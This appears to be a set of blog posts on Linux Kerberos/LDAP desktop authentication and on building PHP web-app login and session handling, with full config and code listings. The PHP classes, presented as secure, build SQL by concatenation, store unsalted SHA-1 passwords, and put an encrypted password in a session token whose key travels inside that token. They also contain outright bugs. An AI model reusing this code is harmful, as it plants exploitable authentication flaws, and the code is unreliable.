Linux client authentication and Active Directory

Ubuntu Active Directory Authentication (an alternative solution)

Description

In order to authenticate a linux desktop client against Windows Directory services there are several configuration files and services which need to exist. The PAM authentication stack utilizing the pam_ldap and nss_ldap authentication modules. Network services such as NFS etc. Extensive configuration settings regarding the nsswitch.conf, pam.d/* configuration files, ldap.conf etc.

As a systems administrator these factors create a sharp learning curve, and time to not only configure all of these things, but to also maintain them. Having this many variables lead to errors costing time and money.

What if you could install one Pluggable Authentication Module, modify one configuration file to begin authenticating an existing Windows Directory Service or OpenLDAP directory containing existing users and groups?

Background

I work for a University. We have an existing Windows Directory full of students. Two hundred thousand plus accounts. To bring Linux into the destkop environment as an alternative to the Windows and OSX clients we needed a simple to maintain, simply to configure solution.

Kerberos Authentication was needed. Active Directory / OpenLDAP support was needed. Minimal configuration and minimal network services was also needed.

We have been utilizing Linux on the desktop in our student labs, public access terminals and some staff machines for close to 5 years now without the need for the pam_ldap, nss_ldap, nsswitch.conf, ldap.conf or NFS configurations necessary for this type of Linux desktop integration.

Alternative Solution

Because there is a perfectly viable solution existing regarding the necessary Kerberos Realm authentication a simple patch, or feature was added to dynamically query the existing Windows / OpenLDAP directory services in order to provide the pam_krb5 TGT to UID/GID verification.

The pam_krb5+ldap project page:

pam_krb5+ldap project page @ sourceforge.net

A patch has also been submitted to the original developer as a feature request to integrate this functionality to any new releases. Details can be found on bugzilla.

patch to integrate ldap uid/gid mapping to pam_krb5

Installation, configuration, usage

Installation HOWTO

Simple, get the package. You can download the latest release at the following URL: pam_krb5+ldap download

Next simple extract the package contents:

%> tar zxvf pam_krb5+ldap-version.tgz

Compile the package using the '--with-ldap' switch to enable the Widows Directory / OpenLDAP option (please note the libpam, libldap and libkrb5 libraries are required)

%> ./configure --with-ldap

Now install the compiled shared objects

%> make && make install

You may need to change the installation directory from /var/lib/security/pam_krb5 by issuing the following command:

%> cp -dfrv /var/lib/security/pam_krb5/* /lib/security/

If you receive errors during the compile or make commands please file bug reports at the following URL: pam_krb5+ldap support

Configuration

There are two areas to configure, one being the krb5.conf and the other being the pam.d/ file to ensure the Linux client uses the proper authentication method.

We will start with the krb5.conf file, below is an example. The following items will need to be changed to match your environment:

* default_realm (your kerberos realm) * kdc (kerberos realm server address) * default_domain (your domain name) * ldap_servs (list of ldap/active directory server addresses separated by a space) * ldap_port (connection port, default is 389, to use TLS/SSL specify 689) * binddn (location of user accounts used in bind process) * basedn (location of users used during search process) * ldapuser (default user account used during bind process) * ldappass (default password associated with bind user) * group_list (comma separated list of groups to ad user to)
[libdefaults]
        default_realm = EXAMPLE.EDU
        clockskew = 300

[realms]
UTAH.EDU = {
        kdc = KDC1.EXAMPLE.COM
        default_domain = EXAMPLE.COM
        admin_server = KDC1.EXAMPLE.COM
}

[logging]
        kdc = FILE:/var/log/krb5kdc.log
        admin_server = FILE:/var/log/kadmin.log
        default = FILE:/var/log/krb5lib.log
[domain_realm]
        .sub.example.com = EXAMPLE.COM

[appdefaults]
pam = {
        ticket_lifetime = 1d
        renew_lifetime = 1d
        forwardable = true
        proxiable = false
        retain_after_close = false
        minimum_uid = 2
        try_first_pass = true
        ignore_root = true

        schema = ad
        ldapservs = ldap1.example.com ldap2.example.com
        ldapport = 389
        binddn = uid=username,ou=Users,dc=example,dc=com
        basedn = ou=remoteusers,dc=example,dc=com
        ldapuser = [readonly-username]
        ldappass = [readonly-password]
        
        passwd = /etc/passwd
        shadow = /etc/shadow
        groups = /etc/group

        groups_list = audio,cdrom,cdrw,usb,plugdev,video,games

        # If you define these they will
        # over write anything obtained from
        # ldap/active directory
        homedir = /home
        defshell = /bin/bash
}

Now simply configure any service you wish to utilize this authentication method. For example if you wish to use this method to only authenticate the user at the terminal configure the /etc/pam.d/system-login file, if you wish to also enable ssh users access utilizing this authentication method you would also configure the /etc/pam.d/ssh configuration file.

Below is an example of the /etc/pam.d/system-login configuration

auth            required        pam_env.so
auth            sufficient      pam_krb5.so
auth            sufficient      pam_unix.so try_first_pass likeauth nullok
auth            required        pam_deny.so

account         required        pam_unix.so

password        required        pam_cracklib.so difok=2 minlen=8 dcredit=2 ocredit=2 retry=3
password        sufficient      pam_krb5.so
password        sufficient      pam_unix.so try_first_pass use_authtok nullok sha512 shadow
password        required        pam_deny.so

session         required        pam_limits.so
session         required        pam_env.so
session         optional        pam_krb5.so
session         required        pam_unix.so
session         required        pam_mkhomedir.so skel=/etc/skel/ umask=0022
session         optional        pam_permit.so

You may want to take note of the utilization of the pam_mkhome.so module as this is required for this authentication type.

Conclusion

Thats it. Hopefully linux on the desktop in educational, corporate environments will start becoming a bit easier to integrate.

Help & Support

Problems and questions can be directed to the support forums. Thanks.

pam_krb5+ldap support

Web application authentication

Web application authentication

Because there are so many attack vectors in regards to web based applications researching some of the more common attacks takes time but may very well save you valuable programming time if you are 'rolling your own' authentication routine.

Some thing's you may or may not be aware of are attack vectors such as session fixation, session poisoning, session hijacking, cross site request forgeries, replay, cross site scripting, SQL injection etc. etc. etc.

As you can imagine web authentication and web application programming may seem somewhat daunting to say the least. Doing your research, testing your code and even utilizing free software available on the web can help you create a secure authenticated web application.

Validate your input

Validating your input forms is probably the most important piece of advice I can give you. Whether it is a URL based variable passed to your application like the following example,

http://www.your-web-site.com/?var=myId

Or even a contact form that accepts post data you must validate your input or your web application will be vulnerable to any of the methods I mentioned above. If you wish to read about validating input in detail please read my earlier post 'web application security'

Another piece of information you might want to research would be the utilization of encryption. Encryption is a method of hiding data and can be a very worthwhile feature of your application.

Authenticating your users

When it comes time to authenticate your users I want to provide a simple checklist of items to think of before you begin writing your authentication routine:

  1. Authentication form
    • Validating input before transmission
    • Encrypting user input before transmission
  2. Primary authentication function
    • Validating input prior to user lookup
    • Generating & validating SQL statement
    • True or false result of user lookup
    • Generating a private/public encryption key pair
    • Generate a series of variables based on unique visitor to be used during secondary authentication functions
    • Generate an authentication token to be used as persistent session data
    • Validating server response to user lookup
  3. Secondary or RE authentication function
    • Validating input prior to user lookup
    • Generating & validating SQL statement
    • True or false result of user lookup
    • Decoding of authentication token
    • Ensure decoded variables match encrypted saved database information

At this point you should have enough to write a web application layer authentication routine to protect your pages from un-authorized access. I say 'web application layer' because as long as there are no underlying vulnerabilities within the web server or scripting language your authentication application should be secure.

Encryption class

class encrypt
{
 private $data;
 function ReadFolder( $folder )
 {
  if( empty( $folder ) ) {
   $this->data = -1;
  } else {
   $rand_image = array();
   if( $handle = opendir( $folder ) ) {
    while( false !== ( $file = readdir( $handle ) ) ) {
     if( ( $file != "." ) && ( $file != ".." ) && ( $file != "index.html" ) && ( !is_dir( $file ) ) ) {
      $this->value[] = $file;
     }
    }
    closedir( $handle );
   }
  }
  return $this->value;
 }

 function MakeSuperRandom()
 {
  return srand( ( double ) microtime( time() ) * 100000 );
 }

 function PickRandomImages( $array )
 {
  $num1 = count( $array );
  $num1 = $num1 - 1;
  $this->MakeSuperRandom();

  $img_num = rand( 3, $num1 );
  $this->data[] = $array[$img_num];
  $num2 = count( $array );
  $num2 = $num2 - 1;
  $this->MakeSuperRandom();

  $img_num = rand( 3, $num2 );
  $this->data[] = $array[$img_num];

  $num3 = count( $array );
  $num3 = $num3 - 1;
  $this->MakeSuperRandom();

  $img_num = rand( 3, $num3 );
  $this->data[] = $array[$img_num];
  return $this->data;
 }

 function GeneratePrivKey( $array )
 {
  if( empty( $array ) ) {
   $this->data = -1;
  } else {
   for( $x = 0; $x < count( $array ); $x++ ) {
    if( function_exists( "mhash" ) ) {
     $keys[] = mhash( MHASH_SHA1, sha1( $array[$x] ) );
    } elseif( function_exists( sha1 ) ) {
     $keys[] = sha1( sha1( $array[$x] ) );
    } else {
     $keys[] = md5( md5( $array[$x] ) );
    }
   }
   for( $y = 0; $y < count( $keys ); $y++ ) {
    if( count( $keys ) == $keys[$y] ) {
     $this->data .= $keys[$y];
    } else {
     $this->data .= $keys[$y] . ":";
    }
   }
  }
  return $this->data;
 }

 function GeneratePublicKey( $data )
 {
  return md5( $data );
 }

 function GeneratePrivateKey( $a )
 {
  $x = $this->ReadFolder( $a );
  $y = $this->PickRandomImages( $x );
  $this->data = $this->GeneratePrivKey( $y );
  return $this->data;
 }

 function EncodePrivToHex( $key )
 {
  return bin2hex( $key );
 }

 function DecodePrivToBin( $key )
 {
  $hexLenght = strlen( $key );
  if( $hexLenght % 2 != 0 || preg_match( "/[^\da-fA-F]/", $key ) ) { $binString = -1; }
  unset( $binString );
  for( $x = 1; $x <= $hexLenght/2; $x++ ) {
   $this->data .= chr( hexdec( substr( $key, 2 * $x - 2, 2 ) ) );
  }
  return $this->data;
 }

 function EncodeAuthTokenHeavy( $array, $iv, $time, $public, $server )
 {
  if( function_exists( "mcrypt_encrypt" ) ) {
   $cipher = new Cipher(MCRYPT_BLOWFISH, MCRYPT_MODE_ECB);
   // encrypt the username, password, level & group attributes (as base64_encoded values)
   $uname = base64_encode( $cipher->encrypt( $array[0]['username'], $public ) );
   $passwd = base64_encode( $cipher->encrypt( $array[0]['password'], $public ) );
   $alevel = base64_encode( $cipher->encrypt( $array[0]['level'], $public ) );
   $agroup = base64_encode( $cipher->encrypt( $array[0]['group'], $public ) );
  } else {
   $uname = base64_encode( $array[0]['username'] );
   $passwd = base64_encode( $array[0]['password'] );
   $alevel = base64_encode( $array[0]['level'] );
   $agroup = base64_encode( $array[0]['group'] );
  }
  return $uname . "::" . $passwd . "::" . $alevel . "::" . $agroup . "::" . $time . "::" . md5( $server['REMOTE_ADDR'] ) . "::" . base64_encode( $_SERVER['HTTP_REFERER'] ) . "::" . md5( $server['HTTP_USER_AGENT'] ) . "::" . md5( $iv ) . "::" . $public;
 }

 function DecodeAuthTokenHeavy( $token )
 {
  $array = preg_split( "/::/", $token );
  if( function_exists( "mcrypt_encrypt" ) ) {
   $cipher = new Cipher(MCRYPT_BLOWFISH, MCRYPT_MODE_ECB);
   $array[0] = $cipher->decrypt( base64_decode( $array[0] ), $array[9], $array[8] );
   $array[1] = $cipher->decrypt( base64_decode( $array[1] ), $array[9], $array[8] );
   $array[2] = $cipher->decrypt( base64_decode( $array[2] ), $array[9], $array[8] );
   $array[3] = $cipher->decrypt( base64_decode( $array[3] ), $array[9], $array[8] );
  } else {
   $array[0] = base64_decode( $array[0] );
   $array[1] = base64_decode( $array[1] );
   $array[2] = base64_decode( $array[2] );
   $array[3] = base64_decode( $array[3] );
  }
  return $array;
 }
}

/**
* Cipher
*
* Simple mcrypt interface.
*
* Cipher is a simple class for working with mcrypt.
*
* @package     Cipher
* @author      Nathan Lucas 
* @link        http://www.gimpstraw.com/
* @copyright   Copyright (c) 2008, Nathan Lucas
* @version     2.0.0
*
* Added $iv to both encrypt() and decrypt() allowing you to use preset IVs
* while encrypting/decrypting data.
*
* Also added getIV(), which returns the instance's current IV in base64
* allowing you to store this IV for use on other instances of Cipher.
*/

class Cipher 
{
 /**
  * Algorithm to use.
  *
  * @access  private
  * @var     string
  */
 private $algo;

 /**
  * Encryption mode.
  *
  * @access  private
  * @var     string
  */
 private $mode;
 
 /**
  * Randomization source.
  *
  * @access  private
  * @var     integer
  */
 private $source;

 /**
  * Initialization vector.
  *
  * @access  private
  * @var     string
  */
 private $iv = null;

 /**
  * Encryption key.
  *
  * @access  private
  * @var     string
  */
 private $key = null;

 /**
  * Cipher($algo, $mode, $source)
  *
  * Cipher constructor. Sets the algorithm being used, the encryption
  * mode, and the IV.
  *
  * @param   string $algo
  * @param   string $mode
  * @param   integer $source (randomization source)
  * @access  public
  * @return  void
  */
 public function __construct($algo = MCRYPT_3DES, $mode = MCRYPT_MODE_CBC, $source = MCRYPT_RAND) {
  $this->algo = $algo;
  $this->mode = $mode;
  $this->source = $source;

  if (is_null($this->algo) || (strlen($this->algo) == 0)) {
   $this->algo = MCRYPT_3DES;
  }

  if (is_null($this->mode) || (strlen($this->mode) == 0)) {
   $this->mode = MCRYPT_MODE_CBC;
  }
 }

 /**
  * encrypt($data, $key, $iv)
  *
  * Returns encrpyted $data, base64 encoded. $key must be specified at
  * least once, it can be changed at any point.
  *
  * @param   string $data
  * @param   mixed $key
  * @param   string $iv
  * @access  public
  * @return  string
  */
  public function encrypt($data, $key = null, $iv = null) {
   $key = (strlen($key) == 0) ? $key = null : $key;
   $this->setKey($key);
   $this->setIV($iv);
   $out = mcrypt_encrypt($this->algo, $this->key, $data, $this->mode, $this->iv);
   return base64_encode($out);
  }

 /**
  * decrypt($data, $key, $iv)
  *
  * Returns decrypted $data. $key must be specified at least once, it can
  * be changed at any point.
  *
  * @param   mixed $data
  * @param   mixed $key
  * @param   string $iv
  * @access  public
  * @return  string
  */
  public function decrypt($data, $key = null, $iv = null) {
   $key = (strlen($key) == 0) ? $key = null : $key;
   $this->setKey($key);
   $this->setIV($iv);
   $data = base64_decode($data);
   $out = mcrypt_decrypt($this->algo, $this->key, $data, $this->mode, $this->iv);
   return trim($out);
  }

 /**
  * getIV()
  *
  * Returns the IV used for encryption so you can use it again in another
  * Cipher instance to decrypt data.
  *
  * @access  public
  * @return  string
  */
  public function getIV() {
   return base64_encode($this->iv);
  }

 /**
  * setIV($iv)
  *
  * Sets IV. If $iv is specified, the instance IV will be set to this. If not,
  * the instance will generate an IV.
  *
  * @param   string $iv
  * @access  private
  * @return  void
  */
  public function setIV($iv) {
   if (!is_null($iv)) {
    $this->iv = base64_decode($iv);
   }
   if (is_null($this->iv)) {
    $iv_size = mcrypt_get_iv_size($this->algo, $this->mode);
    $this->iv = mcrypt_create_iv($iv_size, $this->source);
   }
  }

 /**
  * setKey($data, $key)
  *
  * Sets Cipher::key. This will be the key used for the encrypt and decrypt
  * methods until another $key is specified. This will trigger an error if
  * no initial key is set.
  *
  * @param   mixed $key
  * @access  private
  * @return  void
  */
  private function setKey($key) {
   if (!is_null($key)) {
    $key_size = mcrypt_get_key_size($this->algo, $this->mode);
    $this->key = hash("sha256", $key, true);
    $this->key = substr($this->key, 0, $key_size);
   }
   if (is_null($this->key)) {
    trigger_error("You must specify a key at least once in either Cipher::encrpyt() or Cipher::decrypt().", E_USER_ERROR);
   }
  }
 }

Authentication class

class authenticate
{
 function DecideAuth( $token, $user, $pass, $server )
 {
  if( isset( $token ) ) {
   return $this->ReAuthenticate( $token );
  } else {
   return $this->PrimaryAuthentication( $user, $pass, $server );
  }
 }

 function checkLDAP( $user, $pass )
 {
  global $defined;
  global $handles;
  // are we configured to use ldap?
  if( ( !empty( $defined['ldapuser'] ) ) && ( !empty( $defined['ldappass'] ) ) && ( !empty( $defined['ldapdomain'] ) ) && ( !empty( $defined['ldapserv'] ) ) && ( !empty( $defined['ldapport'] ) ) && ( !empty( $defined['binddn'] ) ) && ( !empty( $defined['basedn'] ) ) ) {
   // attempt to bind for this user as long as there is at least a username
   // found in the local mysql database
   $data = $handles['db']->dbConnect( $defined['dbhost'], $defined['username'], $defined['password'], $defined['dbname'] );
   $query = "SELECT * FROM `users` WHERE `username` = \"" . $user . "\"";
   if( ( $value = $handles['db']->dbQuery( $handles['val']->ValidateSQL( $query, $data ), $data ) ) !== -1 ) {
    if( $handles['db']->dbNumRows( $value ) > 0 ) {
     // proceed to bind because a user was found locally
     //echo "AUTH: 
"; var_dump( $handles['ldap']->auth( $user, $pass, $defined['ldapserv'], $defined['ldapport'] ) ); if( $handles['ldap']->auth( $user, $pass, $defined['ldapserv'], $defined['ldapport'] ) === 0 ) { // a good bind? lets propogate the user/pass to the database to limit ldap queries /cached $sql = "UPDATE `users` SET `password` = sha1( \"" . $pass . "\" ) WHERE `username` = \"" . $user . "\" LIMIT 1"; if( ( $value = $handles['db']->dbQuery( $handles['val']->ValidateSQL( $sql, $data ), $data ) ) !== -1 ) { if( $handles['db']->dbNumRowsAffected( $data ) === 1 ) { $ret = 0; } else { $ret = 1; } } else { $ret = 2; } } else { $ret = 3; } } else { $ret = 4; } } else { $ret = 5; } } else { $ret = 6; } $handles['ldap']->closeConn(); return $ret; } function PrimaryAuthentication( $user, $pass, $server ) { global $defined; global $handles; // ensure our data is present if( ( empty( $user ) ) || ( empty( $pass ) ) || ( count( $server ) < 0 ) ) { $ret = 1; } else { // validate user credentials if( ( $handles['val']->ValidateAlphaChar( $user ) === -1 ) || ( $handles['val']->ValidatePassword( $pass ) === -1 ) ) { $ret = 2; } else { // ok now we need to look the user up $data = $handles['db']->dbConnect( $defined['dbhost'], $defined['username'], $defined['password'], $defined['dbname'] ); $query = "SELECT * FROM `users` WHERE `username` = \"" . $user . "\" AND `password` = sha1( \"$pass\" )"; if( ( $value = $handles['db']->dbQuery( $handles['val']->ValidateSQL( $query, $data ), $data ) ) === -1 ) { $ret = 3; } else { if( $handles['db']->dbNumRows( $value ) <= 0 ) { // check ldap real quick... if( $this->checkLDAP( $user, $pass ) === 0 ) { $ret = 0; } else { $ret = 4; } } else { $array = $handles['db']->dbArrayResultsAssoc( $value ); $array[0]['password'] = $pass; // reassign $array[0]['password'] hash to submitted password // since we have a valid user we need to perform the following: // + Create a private, and public encryption key pair // + Update the user record to store the private key // + Generate a re-usable encrypted token we can pass // back and forth between applications $privatekey = $handles['encrypt']->EncodePrivToHex( $handles['encrypt']->GeneratePrivateKey( $defined['enckeygen'] ) ); $publickey = $handles['encrypt']->GeneratePublicKey( $privatekey ); // since we are going to store the session private key iv data in the database we // must initialize the encryption class (if the mcrypt libs are present) if( function_exists( "mcrypt_encrypt" ) ) { $cipher = new Cipher(MCRYPT_BLOWFISH, MCRYPT_MODE_ECB); $cipher->setIV(); $sessioniv = $cipher->getIV(); } else { // since this php configuration does not // utilize the mcrypt libs we need to generate // a spoofed iv $sessioniv = rand( microtime(), microtime() ); } // create some time stamp data $access_date = $handles['misc']->GenDate(); $access_time = $handles['misc']->GenTimeRead(); $time = $handles['misc']->GenTime(); // destroy any existing sessions for this user $query = "UPDATE `users` SET `ip` = '', `referrer` = '', `agent` = '', `session` = '', `iv` = '' WHERE `id` = \"" . $array[0]['id'] . "\" LIMIT 1"; $handles['db']->dbQuery( $handles['val']->ValidateSQL( $query, $data ), $data ); // update user record with session requirements $query = "UPDATE `users` SET `ip` = \"" . md5($server['REMOTE_ADDR']) . "\", `referrer` = \"" . $server['HTTP_REFERER'] . "\", `agent` = \"" . md5($server['HTTP_USER_AGENT']) . "\", `access_date` = \"" . $access_date . "\", `access_time` = \"" . $access_time . "\", `session` = \"" . $privatekey . "\", `iv` = \"" . $sessioniv . "\" WHERE `id` = \"" . $array[0]['id'] . "\""; if( ( $value = $handles['db']->dbQuery( $handles['val']->ValidateSQL( $query, $data ), $data ) ) === -1 ) { $ret = 5; } else { if( ( $token = $handles['encrypt']->EncodeAuthTokenHeavy( $array, $sessioniv, $time, $publickey, $server ) ) === -1 ) { $ret = 6; } else { $ret = 0; } } } } } } if( $ret === 0 ) { if( eregi( $defined['hostname'], $server['HTTP_REFERER'] ) ) { $handles['session']->regen( true ); } $_SESSION['token'] = $token; } $handles['db']->dbFixTable( "sessions", $dbconn ); $handles['db']->dbFixTable( "users", $dbconn ); return $ret; } /* * During the PrimaryAuthentication function we created a private and public key * The private key gets placed in the users record for later use * * The private key is passed to the encode function and is used to encrypt and base64_encode * the various user attributes we require during the Re-Authentication function. * * The process takes the following steps during re-authentication * 1. Ensure we have a registered and valid session token * 2. Split the token apart and use the base64_decode function to decode each element * 3. Use the last element of the session token (the public key) to unencrypt each element * 4. Pass the array of unencrypted elements to check the following: * + Ensure the remote IP address is the same as the one registered during the primary authentication * + Ensure the referring page is coming from something located on the $defined['server'] ie. http://server.com/page.php is from server.com * + Ensure the browser agent string has not changed as well * + Make sure the user has not been timed out based on the authenticated time stamp vs. the defined timeout variable * + Do a lookup on the decoded username and password to ensure they are indeed a valid user in the database * + Regenerate the session id, destroy everything and let the user continue about their business */ function ReAuthenticate( $token ) { global $defined; global $handles; // this next step will give us plaintext of the base64_encoded / encrypted token elements if( isset( $token ) ) { if( ( $array = $handles['encrypt']->DecodeAuthTokenHeavy( $token ) ) === 1 ) { return 7; } } if( count( $array ) < 10 ) { $ret = 8; } else { // do a lookup based on the username $sql = "SELECT * FROM `users` WHERE `username` = \"" . $array[0] . "\" LIMIT 1"; $dbconn = $handles['db']->dbConnect( $defined['dbhost'], $defined['username'], $defined['password'], $defined['dbname'] ); if( ( $value = $handles['db']->dbQuery( $handles['val']->ValidateSQL( $sql, $dbconn ), $dbconn ) ) === -1 ) { $ret = 9; } else { if( count( $handles['db']->dbNumRows( $value ) ) <= 0 ) { $ret = 10; } else { $user_data = $handles['db']->dbArrayResultsAssoc( $value ); if( ( md5( $user_data[0]['session'] ) !== $array[9] ) || ( md5( $user_data[0]['iv'] ) !== $array[8] ) ) { $ret = 11; } else { // no check ip, referrer and browser agent if( ( $user_data[0]['ip'] !== $array[5] ) || ( !eregi( $defined['hostname'], $user_data[0]['referrer'] ) ) || ( $user_data[0]['agent'] !== $array[7] ) ) { $ret = 12; } else { // make sure they haven't expired their session if( ( $this->AuthTimeOut( $defined['timeout'], $array[4], $handles['misc']->GenTime() ) ) === -1 ) { $ret = 13; } else { // all right, make sure the username, password within decrypted token info is // valid and let the user proceed $sql = "SELECT * FROM `users` WHERE `username` = \"" . $array[0] . "\" AND `password` = \"" . sha1( $array[1] ) . "\" LIMIT 1"; if( ( $value = $handles['db']->dbQuery( $handles['val']->ValidateSQL( $sql, $dbconn ), $dbconn ) ) === -1 ) { $ret = 14; } else { if( count( $handles['db']->dbNumRows( $value ) ) !== 1 ) { $ret = 15; } else { $handles['session']->regen( true ); return 0; } } } } } } } } return $ret; } function AuthTimeOut( $constant, $time, $current ) { if( ( $current - $time ) > $constant ) { $data->value = -1; } else { $data->value = 0; } return $data->value; } }

Database structure for user accounts (users, groups, access levels)

CREATE TABLE `users` (
  `id` int(255) NOT NULL auto_increment,
  `username` varchar(255) NOT NULL,
  `password` varchar(255) NOT NULL,
  `level` varchar(8) NOT NULL,
  `group` varchar(40) NOT NULL,
  `dept` varchar(40) NOT NULL,
  `first` varchar(255) NOT NULL,
  `last` varchar(255) NOT NULL,
  `phone` varchar(12) NOT NULL,
  `email` varchar(255) NOT NULL,
  `ip` blob,
  `referrer` blob,
  `agent` blob,
  `create_date` varchar(255) NOT NULL,
  `create_time` varchar(255) NOT NULL,
  `access_date` varchar(255) NOT NULL,
  `access_time` varchar(255) NOT NULL,
  `session` blob,
  `iv` blob,
  `reset` varchar(8) NOT NULL,
  `owner` varchar(45) NOT NULL,
  UNIQUE KEY `username` (`username`),
  KEY `id` (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=0 DEFAULT CHARSET=latin1;
CREATE TABLE `groups` (
  `description` varchar(255) NOT NULL,
  `manager` varchar(80) NOT NULL,
  `contact` varchar(80) NOT NULL,
  `id` int(255) NOT NULL auto_increment,
  `group` varchar(85) NOT NULL,
  `owner` varchar(45) NOT NULL,
  PRIMARY KEY  (`id`),
  UNIQUE KEY `group` (`group`)
) ENGINE=MyISAM AUTO_INCREMENT=0 DEFAULT CHARSET=latin1;
CREATE TABLE `accesslevel` (
  `id` int(255) NOT NULL auto_increment,
  `level` varchar(40) NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=0 DEFAULT CHARSET=latin1;

Session management

Talking about sessions

Lets talk a minute about a common method of authentication tracking for web applications. Sessions. A session is a server side file, database and/or variable management which a developer can utilize to ensure a user has authenticated and remains a valid authenticated user. I am not going to talk about the dynamics or the best option to utilize here as it is beyond the scope of this document but I do recommend doing your research before starting a project as there are pro's and con's to each method of session management.

Here we are going to present an method of utilizing sessions and storage within a MySQL database. The reason this we decided to forgo the performance boosts of utilizing the mcache or default file based session management is due to our web hosting provider utilizing a shared directory where file based session management gets intermingled with other users, and they do not support the mcache daemon.

Below is the database structure for our database.

Session management table

CREATE TABLE `sessions` (
  `session_id` varchar(32) NOT NULL default '',
  `http_user_agent` varchar(32) NOT NULL default '',
  `session_data` blob NOT NULL,
  `session_expire` int(11) NOT NULL default '0',
  UNIQUE KEY `session_id` (`session_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

Here I am going to provide the PHP class we utilize for our database connections, queries resulting query functions etc.

Database class

class database
{
 var $db;
 var $server;
 var $username;
 var $password;
 var $database;
 var $query;
 var $rows;
 var $array;
 var $num_rows;
 var $affected_rows;
 var $error;
 var $errno;

 function dbConnect( $server, $username, $password, $database )
 {
  $data->db = @mysql_pconnect( $server, $username, $password );
  if( !$data->db ) {
   $data->db = -1;
  } else {
   if( !@mysql_select_db( $database ) ) {
    $data->db = -1;
   }
  }
  return $data->db;
 }

 function dbConnectOnly( $server, $username, $password )
 {
  $data->db = @mysql_pconnect( $server, $username, $password );
  if( !$data->db ) {
   $data->db = -1;
  } else {
   $data->db = 0;
  }
  return $data->db;
 }

 function dbQuery( $query, $db )
 {
  $data->query = @mysql_query( $query, $db );
  if( !$data->query ) {
   $data->query = -1;
  }
  return $data->query;
 }

 function dbNumRows( $id )
 {
  $data->num_rows = @mysql_num_rows( $id );
  if( !$data->num_rows === 0 ) {
   $data->num_rows = -1;
  }
  return $data->num_rows;
 }

 function dbNumRowsAffected( $id )
 {
  $data->affected_rows = @mysql_affected_rows( $id )
  if( !$data->affected_rows === 0 ) {
   $data->affected_rows = -1;
  }
  return $data->affected_rows;
 }

 function dbArrayResults( $sql )
 {
  $data->array = array();
  while( $rows = @mysql_fetch_array( $sql, MYSQL_ASSOC ) ) {
   if( !$rows ) {
    $data->array = -1;
   }
   array_push( $data->array, $rows );
  }
  return $data->array;
 }

 function dbArrayResultsAssoc( $sql )
 {
  $data->array = array();
  while( $rows = @mysql_fetch_assoc( $sql ) ) {
   if( !$rows ) {
    $data->array = -1;
   }
   array_push( $data->array, $rows );
  }
  return $data->array;
 }

 function dbAffectedRows( $sql )
 {
  $rows = @mysql_affected_rows( $sql );
   if( $rows === 0 ) {
    $data->array = -1;
   }
   $data->array = 0;
  return $data->array;
 }

 function dbCatchErrno()
 {
  return @mysql_errno();
 }

 function dbCatchError()
 {
  return @mysql_error();
 }

 function dbFreeData( $sql )
 {
  return @mysql_free_result( $sql );
 }

 function dbCloseConn( $sql )
 {
  return @mysql_close( $sql );
 }

 function dbFixTable( $table, $db )
 {
  @mysql_query( "REPAIR TABLE `" . $table . "`", $db );
  @mysql_query( "OPTIMIZE TABLE `" . $table . "`", $db );
  @mysql_query( "FLUSH TABLE `" . $table . "`", $db );
 }
}

And finally our PHP session handler class. As you can see in the '__construct' function we utilize the 'session_set_save_handler' to modify the default PHP subroutine of using flat file's to store and retrieve our global session variables.

Session management class

class sessions
{
 var $id;
 var $data;
 var $max_time;
 var $dbconn;

 function __construct( $max_time )
 {
  global $defined;
  if( !empty( $max_time ) ) {
   @ini_set( 'session.gc_maxlifetime', $max_time );
  } else {
   @ini_set( 'session.gc_maxlifetime', 3600 );
  }
  session_set_save_handler(
   array( &$this, 'open' ),
   array( &$this, 'close' ),
   array( &$this, 'read' ),
   array( &$this, 'write' ),
   array( &$this, 'destroy' ),
   array( &$this, 'gc' )
  );
  @ini_set( 'cache_limiter', 'private' );
  @ini_set( 'cache_expire', $max_time );
  @ini_set( 'use_cookies', "1" );
  @register_shutdown_function( 'session_write_close' );
  @session_start();
 }

 function register( $name, $data )
 {
  return $_SESSION[$name] = $data;
 }

 function regen( $flag = false )
 {
  if( $flag !== false ) {
   $this->register( 'id', session_id() );
   @session_regenerate_id( $flag );
   $this->id = session_id();
   $this->destroy( $_SESSION['id'] );
  }
  return;
 }

 function reindex()
 {
  global $handles;
  return $handles['db']->dbFixTable( "sessions", $this->dbconn );
 }

 function open( $path, $name )
 {
  global $defined;
  global $handles;
  if( ( $this->dbconn = $handles['db']->dbConnect( $defined['dbhost'], $defined['username'], $defined['password'], $defined['dbname'] ) ) !== -1 ) {
   return true;
  } else {
   return false;
  }
 }

 function close()
 {
  global $defined;
  global $handles;
  $this->reindex();
  $handles['db']->dbFreeData( $this->dbconn );
  $handles['db']->dbCloseConn( $this->dbconn );
  return true;
 }

 function read( $id )
 {
  global $handles;
  $query = "SELECT * FROM `sessions` WHERE `session_id` = \"" . $id . "\" AND `http_user_agent` = \"" . md5( $_SERVER["HTTP_USER_AGENT"] ) . "\" LIMIT 1";
  $result = $handles['db']->dbQuery( $handles['val']->ValidateSQL( $query, $this->dbconn ), $this->dbconn );
  if( ( is_resource( $result ) ) && ( $handles['db']->dbNumRowsAffected( $this->dbconn ) > 0 ) ) {
   $fields = $handles['db']->dbArrayResultsAssoc( $result );
   return stripslashes( unserialize( $fields[0]['session_data'] ) );
  }
  return "";
 }

 function write( $id, $data )
 {
  global $handles;
  $query = "INSERT INTO `sessions` ( `session_id`, `http_user_agent`, `session_data`, `session_expire` ) VALUES ( \"" . $id . "\", \"" . md5( $_SERVER["HTTP_USER_AGENT"] ) . "\", \"" . mysql_real_escape_string( serialize( $data ) ) . "\", \"" . time()  . "\" ) ON DUPLICATE KEY UPDATE `session_id` = \"" . $id . "\", `session_data` = \"" . mysql_real_escape_string( serialize( $data ) ) . "\", `session_expire` = \"" . time() . "\"";
  $result = $handles['db']->dbQuery( $handles['val']->ValidateSQL( $query, $this->dbconn ), $this->dbconn );
  if( ( is_resource( $result ) ) && ( $handles['db']->dbNumRowsAffected( $this->dbconn ) > 0 ) ) {
   $this->reindex();
   return true;
  } else {
   return false;
  }
 }

 function destroy( $id )
 {
  global $handles;
  $query = "DELETE FROM `sessions` WHERE `session_id` = \"" . $id . "\" LIMIT 1";
  $result = $handles['db']->dbQuery($handles['val']->ValidateSQL( $query, $this->dbconn ), $this->dbconn);
  if( ( is_resource( $result ) ) && ( $handles['db']->dbNumRowsAffected( $this->dbconn ) > 0 ) ) {
   $this->reindex();
   return true;
  } else {
   return false;
  }
 }

 function gc( $max_time )
 {
  global $handles;
